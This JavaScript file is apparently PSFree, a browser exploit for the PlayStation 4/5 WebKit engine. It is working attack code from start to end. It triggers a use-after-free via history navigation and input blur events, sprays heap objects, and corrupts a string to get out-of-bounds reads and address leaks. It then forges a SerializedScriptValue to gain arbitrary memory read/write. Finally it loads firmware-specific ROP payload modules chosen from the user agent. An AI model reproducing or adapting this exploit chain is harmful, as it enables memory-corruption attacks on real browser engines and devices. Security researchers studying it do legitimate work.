763 lines
23 KiB
JavaScript
763 lines
23 KiB
JavaScript
/* Copyright (C) 2023-2024 anonymous
|
|
|
|
This file is part of PSFree.
|
|
|
|
PSFree is free software: you can redistribute it and/or modify
|
|
it under the terms of the GNU Affero General Public License as
|
|
published by the Free Software Foundation, either version 3 of the
|
|
License, or (at your option) any later version.
|
|
|
|
PSFree is distributed in the hope that it will be useful,
|
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
GNU Affero General Public License for more details.
|
|
|
|
You should have received a copy of the GNU Affero General Public License
|
|
along with this program. If not, see <https://www.gnu.org/licenses/>. */
|
|
|
|
import * as config from './config.mjs';
|
|
|
|
import {
|
|
read32,
|
|
read64,
|
|
write16,
|
|
write32,
|
|
write64,
|
|
sread64,
|
|
} from './module/rw.mjs';
|
|
|
|
import * as o from './module/offset.mjs';
|
|
|
|
import { Int } from './module/int64.mjs';
|
|
import { Memory } from './module/mem.mjs';
|
|
|
|
import {
|
|
die,
|
|
debug_log,
|
|
clear_log,
|
|
str2array,
|
|
} from './module/utils.mjs';
|
|
|
|
const ssv_len = (() => {
|
|
switch (config.target) {
|
|
case config.ps4_6_00: {
|
|
return 0x58;
|
|
}
|
|
case config.ps4_9_00: {
|
|
return 0x50;
|
|
}
|
|
case config.ps4_6_50:
|
|
case config.ps4_8_03: {
|
|
return 0x48;
|
|
}
|
|
default: {
|
|
throw RangeError('invalid config.target: ' + config.target);
|
|
}
|
|
}
|
|
})();
|
|
|
|
const num_reuse = 0x400;
|
|
|
|
// size of JSArrayBufferView
|
|
const original_strlen = ssv_len - o.size_strimpl;
|
|
const buffer_len = 0x20;
|
|
// make sure this is large enough to ensure that enough strings will
|
|
// occupy any gaps in in the relative read area so when are trying to leak the
|
|
// JSArrayBufferView we won't hit any unmapped areas
|
|
const num_str = 0x400;
|
|
const num_gc = 30;
|
|
const num_space = 19;
|
|
const original_loc = window.location.pathname;
|
|
const loc = original_loc + '#foo';
|
|
|
|
// this variable has to be global for the leak to work
|
|
let rstr = null;
|
|
// this variable has to be global so that the exploit is more likely to succeed
|
|
let view_leak_arr = [];
|
|
// These variables need to be global because we theorize there are
|
|
// optimizations between local and global variables.
|
|
// We don't know what optimizations these are but it is messing with us.
|
|
|
|
// contents of the JSArrayBufferView
|
|
// 3rd element is the address of the buffer of the JSArrayBufferView
|
|
let jsview = [];
|
|
|
|
// object for saving values
|
|
let s1 = {views : []};
|
|
let view_leak = null;
|
|
|
|
let input = document.body.appendChild(document.createElement("input"));
|
|
let foo = document.body.appendChild(document.createElement("a"));
|
|
foo.id = "foo";
|
|
|
|
// The theory is that the allocator and garbage collector (GC) cooperate in
|
|
// serving allocation requests. The GC knows if there are any garbage that can
|
|
// be collected, to free up memory for requests. If the allocator can't serve a
|
|
// request, it will ask the GC to perform a garbage collection.
|
|
//
|
|
// If even after a garbage colllection, there is still no memory left for
|
|
// allocation, then the process will request the operating system to increase
|
|
// its heap size.
|
|
//
|
|
// We loop a couple of times by num_loop in allocating memory and dropping
|
|
// references to it. Even though we dropped the references immediately, memory
|
|
// consumption will still grow, since garbage is not immediately collected.
|
|
// Hopefully one of the requests will force the allocator to yield to the GC.
|
|
let pressure = null;
|
|
function gc(num_loop) {
|
|
pressure = Array(100);
|
|
for (let i = 0; i < num_loop; i++) {
|
|
for (let i = 0; i < pressure.length; i++) {
|
|
pressure[i] = new Uint32Array(0x40000);
|
|
}
|
|
pressure = Array(100);
|
|
}
|
|
pressure = null;
|
|
}
|
|
|
|
function sleep(ms) {
|
|
return new Promise(resolve => setTimeout(resolve, ms));
|
|
}
|
|
|
|
function prepare_uaf() {
|
|
// don't want any state0 near state1
|
|
history.pushState('state0', '');
|
|
for (let i = 0; i < num_space; i++) {
|
|
history.replaceState('state0', '');
|
|
}
|
|
|
|
history.replaceState("state1", "", loc);
|
|
|
|
// don't want any state2 near state1
|
|
history.pushState("state2", "");
|
|
for (let i = 0; i < num_space; i++) {
|
|
history.replaceState("state2", "");
|
|
}
|
|
}
|
|
|
|
function free(save) {
|
|
// We replace the URL with the original so the user can rerun the exploit
|
|
// via a reload. If we don't then the exploit will append another "#foo" to
|
|
// the URL and the input element will not be blurred because the foo
|
|
// element won't be scrolled to during history.back().
|
|
history.replaceState('state3', '', original_loc);
|
|
|
|
for (let i = 0; i < num_reuse; i++) {
|
|
let view = new Uint8Array(new ArrayBuffer(ssv_len));
|
|
for (let i = 0; i < view.length; i++) {
|
|
view[i] = 0x41;
|
|
}
|
|
save.views.push(view);
|
|
}
|
|
}
|
|
|
|
function check_spray(views) {
|
|
if (views.length !== num_reuse) {
|
|
debug_log(`views.length: ${views.length}`);
|
|
die('views.length !== num_reuse, restart the entire exploit');
|
|
}
|
|
|
|
for (let i = 0; i < num_reuse; i++) {
|
|
if (views[i][0] !== 0x41) {
|
|
return i;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
async function use_after_free(pop_func, save) {
|
|
const pop_promise = new Promise((resolve, reject) => {
|
|
function pop_wrapper(event) {
|
|
try {
|
|
pop_func(event, save);
|
|
} catch (e) {
|
|
reject(e);
|
|
}
|
|
resolve();
|
|
}
|
|
addEventListener("popstate", pop_wrapper, {once:true});
|
|
});
|
|
|
|
prepare_uaf();
|
|
|
|
let num_free = 0;
|
|
function onblur() {
|
|
if (num_free > 0) {
|
|
die('multiple free()s, restart the entire exploit');
|
|
}
|
|
free(save);
|
|
num_free++;
|
|
}
|
|
|
|
input.onblur = onblur;
|
|
await new Promise((resolve) => {
|
|
input.addEventListener('focus', resolve, {once:true});
|
|
input.focus();
|
|
});
|
|
history.back();
|
|
|
|
await pop_promise;
|
|
}
|
|
|
|
// get arbitrary read
|
|
async function setup_ar(save) {
|
|
const view = save.ab;
|
|
|
|
// set refcount to 1, all other fields to 0/NULL
|
|
view[0] = 1;
|
|
for (let i = 1; i < view.length; i++) {
|
|
view[i] = 0;
|
|
}
|
|
|
|
delete save.views;
|
|
delete save.pop;
|
|
gc(num_gc);
|
|
debug_log('setup_ar() gc done');
|
|
|
|
// Extra sleep if the object hasn't been collected yet, this is to allow
|
|
// the garbage collector to preempt us. Keeping the call to gc() lowers the
|
|
// average total sleep time.
|
|
let total_sleep = 0;
|
|
const num_sleep = 8;
|
|
// Don't sleep for 9.xx. Tests show it is slower. This check and the sleep
|
|
// before double_free() make setup_ar() fast for 9.xx.
|
|
while (true && config.target !== config.ps4_9_00) {
|
|
await sleep(num_sleep);
|
|
total_sleep += num_sleep;
|
|
|
|
if (view[0] !== 1) {
|
|
break;
|
|
}
|
|
}
|
|
debug_log(`total_sleep: ${total_sleep}`);
|
|
// log to check if the garbage collector did collect PopStateEvent
|
|
// must not log "1, 0, 0, 0, ..."
|
|
debug_log(view);
|
|
|
|
let num_spray = 0;
|
|
while (true) {
|
|
const obj = {};
|
|
num_spray++;
|
|
|
|
for (let i = 0; i < num_str; i++) {
|
|
let str = new String(
|
|
'B'.repeat(original_strlen - 5)
|
|
+ i.toString().padStart(5, '0')
|
|
);
|
|
obj[str] = 0x1337;
|
|
}
|
|
|
|
if (view[o.strimpl_inline_str] === 0x42) {
|
|
write32(view, o.strimpl_strlen, 0xffffffff);
|
|
} else {
|
|
continue;
|
|
}
|
|
|
|
let found = false;
|
|
const str_arr = Object.getOwnPropertyNames(obj);
|
|
for (let i = 0; i < str_arr.length; i++) {
|
|
if (str_arr[i].length > 0xff) {
|
|
rstr = str_arr[i];
|
|
found = true;
|
|
debug_log('confirmed correct leaked');
|
|
debug_log(`str len: ${rstr.length}`);
|
|
debug_log(view);
|
|
debug_log(`read address: ${read64(view, o.strimpl_m_data)}`);
|
|
break;
|
|
}
|
|
}
|
|
if (!found) {
|
|
continue;
|
|
}
|
|
|
|
debug_log(`num_spray: ${num_spray}`);
|
|
return;
|
|
}
|
|
}
|
|
|
|
async function double_free(save) {
|
|
const view = save.ab;
|
|
|
|
await setup_ar(save);
|
|
|
|
// Spraying JSArrayBufferViews
|
|
debug_log('spraying views');
|
|
let buffer = new ArrayBuffer(buffer_len);
|
|
let tmp = [];
|
|
const num_alloc = 0x10000;
|
|
const num_threshold = 0xfc00;
|
|
const num_diff = num_alloc - num_threshold;
|
|
for (let i = 0; i < num_alloc; i++) {
|
|
// The last allocated are more likely to be allocated after our relative read
|
|
if (i >= num_threshold) {
|
|
view_leak_arr.push(new Uint8Array(buffer));
|
|
} else {
|
|
tmp.push(new Uint8Array(buffer));
|
|
}
|
|
}
|
|
tmp = null;
|
|
debug_log('done spray views');
|
|
|
|
// Force JSC ref on FastMalloc Heap
|
|
// https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js#L151
|
|
let props = [];
|
|
for (let i = 0; i < num_diff; i++) {
|
|
props.push({ value: 0x43434343 });
|
|
props.push({ value: view_leak_arr[i] });
|
|
}
|
|
|
|
debug_log('start find leak');
|
|
//
|
|
// /!\
|
|
// This part must avoid as much as possible fastMalloc allocation
|
|
// to avoid re-using the targeted object
|
|
// /!\
|
|
//
|
|
// Use relative read to find our JSC obj
|
|
// We want a JSArrayBufferView that is allocated after our relative read
|
|
search: while (true) {
|
|
Object.defineProperties({}, props);
|
|
for (let i = 0; i < 0x800000; i++) {
|
|
let v = null;
|
|
if (rstr.charCodeAt(i) === 0x43 &&
|
|
rstr.charCodeAt(i + 1) === 0x43 &&
|
|
rstr.charCodeAt(i + 2) === 0x43 &&
|
|
rstr.charCodeAt(i + 3) === 0x43
|
|
) {
|
|
// check if PropertyDescriptor
|
|
if (rstr.charCodeAt(i + 0x08) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x0f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x10) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x17) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x18) === 0x0e &&
|
|
rstr.charCodeAt(i + 0x1f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x28) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x2f) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x30) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x37) === 0x00 &&
|
|
rstr.charCodeAt(i + 0x38) === 0x0e &&
|
|
rstr.charCodeAt(i + 0x3f) === 0x00
|
|
) {
|
|
v = str2array(rstr, 8, i + 0x20);
|
|
// check if array of JSValues pointed by m_buffer
|
|
} else if (rstr.charCodeAt(i + 0x10) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x11) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x12) === 0x43 &&
|
|
rstr.charCodeAt(i + 0x13) === 0x43) {
|
|
v = str2array(rstr, 8, i + 8);
|
|
}
|
|
}
|
|
if (v !== null) {
|
|
view_leak = new Int(v);
|
|
break search;
|
|
}
|
|
}
|
|
}
|
|
//
|
|
// /!\
|
|
// Critical part ended-up here
|
|
// /!\
|
|
//
|
|
debug_log('end find leak');
|
|
debug_log('view addr ' + view_leak);
|
|
|
|
let rstr_addr = read64(view, o.strimpl_m_data);
|
|
write64(view, o.strimpl_m_data, view_leak);
|
|
for (let i = 0; i < 4; i++) {
|
|
jsview.push(sread64(rstr, i*8));
|
|
}
|
|
write64(view, o.strimpl_m_data, rstr_addr);
|
|
write32(view, o.strimpl_strlen, original_strlen);
|
|
debug_log('contents of JSArrayBufferView');
|
|
debug_log(jsview);
|
|
}
|
|
|
|
function find_leaked_view(rstr, view_rstr, view_m_vector, view_arr) {
|
|
const old_m_data = read64(view_rstr, o.strimpl_m_data);
|
|
|
|
let res = null;
|
|
write64(view_rstr, o.strimpl_m_data, view_m_vector);
|
|
for (const view of view_arr) {
|
|
const magic = 0x41424344;
|
|
write32(view, 0, magic);
|
|
|
|
if (sread64(rstr, 0).low() === magic) {
|
|
res = view;
|
|
break;
|
|
}
|
|
}
|
|
write64(view_rstr, o.strimpl_m_data, old_m_data);
|
|
|
|
if (res === null) {
|
|
die('not found');
|
|
}
|
|
return res;
|
|
}
|
|
|
|
|
|
class Reader {
|
|
// leaker will be the view whose address we leaked
|
|
constructor(rstr, view_rstr, leaker, leaker_addr) {
|
|
this.rstr = rstr;
|
|
this.view_rstr = view_rstr;
|
|
this.leaker = leaker;
|
|
this.leaker_addr = leaker_addr;
|
|
this.old_m_data = read64(view_rstr, o.strimpl_m_data);
|
|
|
|
// Create a butterfy with the "a" property as the first. leaker is a
|
|
// JSArrayBufferView. Instances of that class don't have inlined
|
|
// properties and the butterfly is immediately created.
|
|
leaker.a = 0; // dummy value, we just want to create the "a" property
|
|
}
|
|
|
|
addrof(obj) {
|
|
if (typeof obj !== 'object'
|
|
&& typeof obj !== 'function'
|
|
) {
|
|
throw TypeError('addrof argument not a JS object');
|
|
}
|
|
|
|
this.leaker.a = obj;
|
|
|
|
// no need to modify the length, original_strlen is large enough
|
|
write64(this.view_rstr, o.strimpl_m_data, this.leaker_addr);
|
|
|
|
const butterfly = sread64(this.rstr, o.js_butterfly);
|
|
write64(this.view_rstr, o.strimpl_m_data, butterfly.sub(0x10));
|
|
|
|
const res = sread64(this.rstr, 0);
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
|
|
return res;
|
|
}
|
|
|
|
get_view_vector(view) {
|
|
if (!ArrayBuffer.isView(view)) {
|
|
throw TypeError(`object not a JSC::JSArrayBufferView: ${view}`);
|
|
}
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.addrof(view));
|
|
const res = sread64(this.rstr, o.view_m_vector);
|
|
|
|
write64(this.view_rstr, o.strimpl_m_data, this.old_m_data);
|
|
return res;
|
|
}
|
|
}
|
|
|
|
// data to write to the SerializedScriptValue
|
|
//
|
|
// Setup to make deserialization create an ArrayBuffer with its buffer address
|
|
// pointing to a JSArrayBufferView (worker).
|
|
//
|
|
// TypedArrays (JSArrayBufferView) created via "new TypedArray(x)" where x <=
|
|
// 1000 (fastSizeLimit) have ther buffers allocated on the JavaScript heap
|
|
// (m_mode = FastTypedArray). Requesting the buffer property ("view.buffer")
|
|
// (calls possiblySharedBuffer()) of such a view will allocate a new buffer on
|
|
// the fastMalloc heap, the contents of the old one will be copied. This will
|
|
// change the m_vector field, so care must be taken if you cache the result of
|
|
// get_view_vector(), you must call it again to get the updated field.
|
|
//
|
|
// See enum TypedArrayMode from
|
|
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferView.h and
|
|
// possiblySharedBuffer() from
|
|
// WebKit/Source/JavaScriptCore/runtime/JSArrayBufferViewInlines.h at PS4 8.03.
|
|
function setup_ssv_data(reader) {
|
|
const r = reader;
|
|
// sizeof WTF::Vector<T>
|
|
const size_vector = 0x10;
|
|
// sizeof JSC::ArrayBufferContents
|
|
const size_abc = config.target === config.ps4_9_00 ? 0x18 : 0x20;
|
|
|
|
// WTF::Vector<unsigned char>
|
|
const m_data = new Uint8Array(size_vector);
|
|
const data = new Uint8Array(9);
|
|
|
|
// m_buffer
|
|
write64(m_data, 0, r.get_view_vector(data));
|
|
// m_capacity
|
|
write32(m_data, 8, data.length);
|
|
// m_size
|
|
write32(m_data, 0xc, data.length);
|
|
|
|
// 6 is the serialization format version number for ps4 6.00. The format
|
|
// is backwards compatible and using a value less than the current version
|
|
// number used by a specific WebKit version is considered valid.
|
|
//
|
|
// See CloneDeserializer::isValid() from
|
|
// WebKit/Source/WebCore/bindings/js/SerializedScriptValue.cpp at PS4 8.03.
|
|
const CurrentVersion = 6;
|
|
const ArrayBufferTransferTag = 23;
|
|
write32(data, 0, CurrentVersion);
|
|
data[4] = ArrayBufferTransferTag;
|
|
write32(data, 5, 0);
|
|
|
|
// WTF::Vector<JSC::ArrayBufferContents>
|
|
const abc_vector = new Uint8Array(size_vector);
|
|
// JSC::ArrayBufferContents
|
|
const abc = new Uint8Array(size_abc);
|
|
|
|
write64(abc_vector, 0, r.get_view_vector(abc));
|
|
write32(abc_vector, 8, 1);
|
|
write32(abc_vector, 0xc, 1);
|
|
|
|
// m_mode = WastefulTypedArray, allocated buffer on the fastMalloc heap,
|
|
// unlike FastTypedArray, where the buffer is managed by the GC. This
|
|
// prevents random crashes.
|
|
//
|
|
// See JSGenericTypedArrayView<Adaptor>::visitChildren() from
|
|
// WebKit/Source/JavaScriptCore/runtime/JSGenericTypedArrayViewInlines.h at
|
|
// PS4 8.03.
|
|
const worker = new Uint8Array(new ArrayBuffer(1));
|
|
|
|
if (config.target !== config.ps4_9_00) {
|
|
// m_destructor
|
|
write64(abc, 0, Int.Zero);
|
|
// m_shared
|
|
write64(abc, 8, Int.Zero);
|
|
// m_data
|
|
write64(abc, 0x10, r.addrof(worker));
|
|
// m_sizeInBytes
|
|
write32(abc, 0x18, o.size_view);
|
|
} else {
|
|
// m_data
|
|
write64(abc, 0, r.addrof(worker));
|
|
// m_destructor (48 bits)
|
|
write32(abc, 8, 0);
|
|
write16(abc, 0xc, 0);
|
|
// m_shared (48 bits)
|
|
write32(abc, 0xe, 0);
|
|
write16(abc, 0x12, 0);
|
|
// m_sizeInBytes
|
|
write32(abc, 0x14, o.size_view);
|
|
}
|
|
|
|
return {
|
|
m_data,
|
|
m_arrayBufferContentsArray : r.get_view_vector(abc_vector),
|
|
worker,
|
|
// keep a reference to prevent garbage collection
|
|
nogc : [
|
|
data,
|
|
abc_vector,
|
|
abc,
|
|
],
|
|
};
|
|
}
|
|
|
|
// get arbitrary read/write
|
|
async function setup_arw(save, ssv_data) {
|
|
const num_msg = 1000;
|
|
const view = save.ab;
|
|
let msgs = [];
|
|
|
|
function onmessage(event) {
|
|
msgs.push(event);
|
|
}
|
|
addEventListener('message', onmessage);
|
|
|
|
// Free the StringImpl so we can spray SerializedScriptValues over the
|
|
// buffer of the view. The StringImpl is safe to free since we fixed it up
|
|
// earlier.
|
|
rstr = null;
|
|
while (true) {
|
|
for (let i = 0; i < num_msg; i++) {
|
|
postMessage('', origin);
|
|
}
|
|
|
|
while (msgs.length !== num_msg) {
|
|
await sleep(100);
|
|
}
|
|
|
|
if (view[o.strimpl_inline_str] !== 0x42) {
|
|
break;
|
|
}
|
|
|
|
msgs = [];
|
|
}
|
|
removeEventListener('message', onmessage);
|
|
|
|
debug_log('view contents:');
|
|
for (let i = 0; i < ssv_len; i += 8) {
|
|
debug_log(read64(view, i));
|
|
}
|
|
|
|
// save SerializedScriptValue
|
|
const copy = [];
|
|
for (let i = 0; i < view.length; i++) {
|
|
copy.push(view[i]);
|
|
}
|
|
|
|
const {m_data, m_arrayBufferContentsArray, worker, nogc} = ssv_data;
|
|
write64(view, 8, read64(m_data, 0));
|
|
write64(view, 0x10, read64(m_data, 8));
|
|
write64(view, 0x18, m_arrayBufferContentsArray);
|
|
|
|
for (const msg of msgs) {
|
|
if (msg.data !== '') {
|
|
debug_log('achieved arbitrary r/w');
|
|
|
|
const u = new Uint8Array(msg.data);
|
|
debug_log('deserialized ArrayBuffer:');
|
|
for (let i = 0; i < o.size_view; i += 8) {
|
|
debug_log(read64(u, i));
|
|
}
|
|
|
|
const mem = new Memory(u, worker);
|
|
|
|
// restore SerializedScriptValue
|
|
view.set(copy);
|
|
|
|
// cleanup
|
|
view_leak_arr = null;
|
|
view_leak = null;
|
|
jsview = null;
|
|
input = null;
|
|
foo = null;
|
|
|
|
// Before s1.ab gets garbage collected and its underlying buffer
|
|
// on the fastMalloc heap is freed, another object could be
|
|
// allocated in the meantime. That object could be freed
|
|
// prematurely once the GC occurs. This could corrupt the object
|
|
// if another object is allocated in the same memory area.
|
|
//
|
|
// So we will keep s1 alive.
|
|
|
|
return;
|
|
}
|
|
}
|
|
die('no arbitrary r/w');
|
|
}
|
|
|
|
// Don't create additional references to rstr, use the global variable. This
|
|
// is to make dropping all its references easy (change the value of the global
|
|
// variable).
|
|
async function triple_free(
|
|
save,
|
|
// contents of the leaked JSArrayBufferView
|
|
jsview,
|
|
view_leak_arr,
|
|
leaked_view_addr,
|
|
) {
|
|
const leaker = find_leaked_view(rstr, save.ab, jsview[2], view_leak_arr);
|
|
let r = new Reader(rstr, save.ab, leaker, leaked_view_addr);
|
|
const ssv_data = setup_ssv_data(r);
|
|
|
|
// r contains a reference to rstr, drop it for setup_arw()
|
|
r = null;
|
|
await setup_arw(save, ssv_data);
|
|
}
|
|
|
|
function pop(event, save) {
|
|
let spray_res = check_spray(save.views);
|
|
if (spray_res === null) {
|
|
die('failed spray');
|
|
} else {
|
|
save.pop = event;
|
|
save.ab = save.views[spray_res];
|
|
debug_log('ssv len: ' + ssv_len);
|
|
debug_log('view index: ' + spray_res);
|
|
debug_log(save.ab);
|
|
}
|
|
}
|
|
|
|
// For some reason the input element is being blurred by something else (we
|
|
// don't know what) if we execute use_after_free() before the DOMContentLoaded
|
|
// event fires. The input must only be blurred by history.back(), which will
|
|
// change the focus from the input to the foo element.
|
|
async function get_ready() {
|
|
debug_log('readyState: ' + document.readyState);
|
|
await new Promise((resolve, reject) => {
|
|
if (document.readyState !== "complete") {
|
|
document.addEventListener("DOMContentLoaded", resolve);
|
|
return;
|
|
}
|
|
resolve();
|
|
});
|
|
}
|
|
|
|
//load per firmware Rop Test function by kameleon..
|
|
function ExecRopByFw()
|
|
{
|
|
var UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("PlayStation 4/","");
|
|
|
|
if (UA == "6.00" || UA == "6.02" || UA == "6.10" || UA == "6.20")
|
|
{
|
|
alert("No ROP implemented");
|
|
}
|
|
|
|
if (UA == "6.50" || UA == "6.70" || UA == "6.71" || UA == "6.72")
|
|
{
|
|
alert("No ROP implemented");
|
|
}
|
|
|
|
if (UA == "7.01" || UA == "7.02" || UA == "7.50" || UA == "7.51" || UA == "7.55")
|
|
{
|
|
import('./send.mjs');
|
|
}
|
|
|
|
if (UA == "8.00" || UA == "8.01")
|
|
{
|
|
alert("No ROP implemented");
|
|
}
|
|
|
|
if (UA == "8.03")
|
|
{
|
|
import('./rop/800.mjs');
|
|
}
|
|
|
|
if (UA == "8.50" || UA == "8.51")
|
|
{
|
|
import('./rop/850.mjs');
|
|
}
|
|
|
|
//on 9.00 Fw detection changed to laystation insead of regular Playstation
|
|
UA = navigator.userAgent.substring(navigator.userAgent.indexOf('5.0 (') + 19, navigator.userAgent.indexOf(') Apple')).replace("layStation 4/","");
|
|
|
|
if (UA == "9.00" || UA == "9.03" || UA == "9.04")
|
|
{
|
|
import('./rop/900.mjs');
|
|
}
|
|
|
|
if (UA == "9.50" || UA == "9.51" || UA == "9.60")
|
|
{
|
|
import('./rop/950.mjs');
|
|
}
|
|
|
|
//get user agent for PS5 (taken from PS5 Specter Exploit Host)
|
|
const supportedFirmwares = ["1.00","1.01","1.02","1.05","1.12","1.14","2.00","2.10","2.20","2.25","2.26","2.30","2.50","2.70","3.00","3.10","3.20","3.21","4.00", "4.02", "4.03", "4.50", "4.51","5.00","5.02","5.10","5.50"];
|
|
const fw_idx = navigator.userAgent.indexOf('PlayStation; PlayStation 5/') + 27;
|
|
const fw_str = navigator.userAgent.substring(fw_idx, fw_idx + 4);
|
|
|
|
if (supportedFirmwares.includes(fw_str))
|
|
{
|
|
alert("No ROP implemented");
|
|
}
|
|
|
|
}
|
|
|
|
async function run() {
|
|
debug_log('stage: readying');
|
|
await get_ready();
|
|
|
|
debug_log('stage: UaF 1');
|
|
await use_after_free(pop, s1);
|
|
|
|
// we trigger the leak first because it is more likely to work
|
|
// than if it were to happen during the second ssv smashing
|
|
// on the ps4
|
|
debug_log('stage: double free');
|
|
// * keeps setup_ar()'s total sleep even lower
|
|
// * also helps the garbage collector scheduling for 9.xx
|
|
await sleep(0);
|
|
await double_free(s1);
|
|
|
|
debug_log('stage: triple free');
|
|
await triple_free(s1, jsview, view_leak_arr, view_leak);
|
|
|
|
clear_log();
|
|
// path to your script that will use the exploit
|
|
ExecRopByFw();
|
|
}
|
|
|
|
run();
|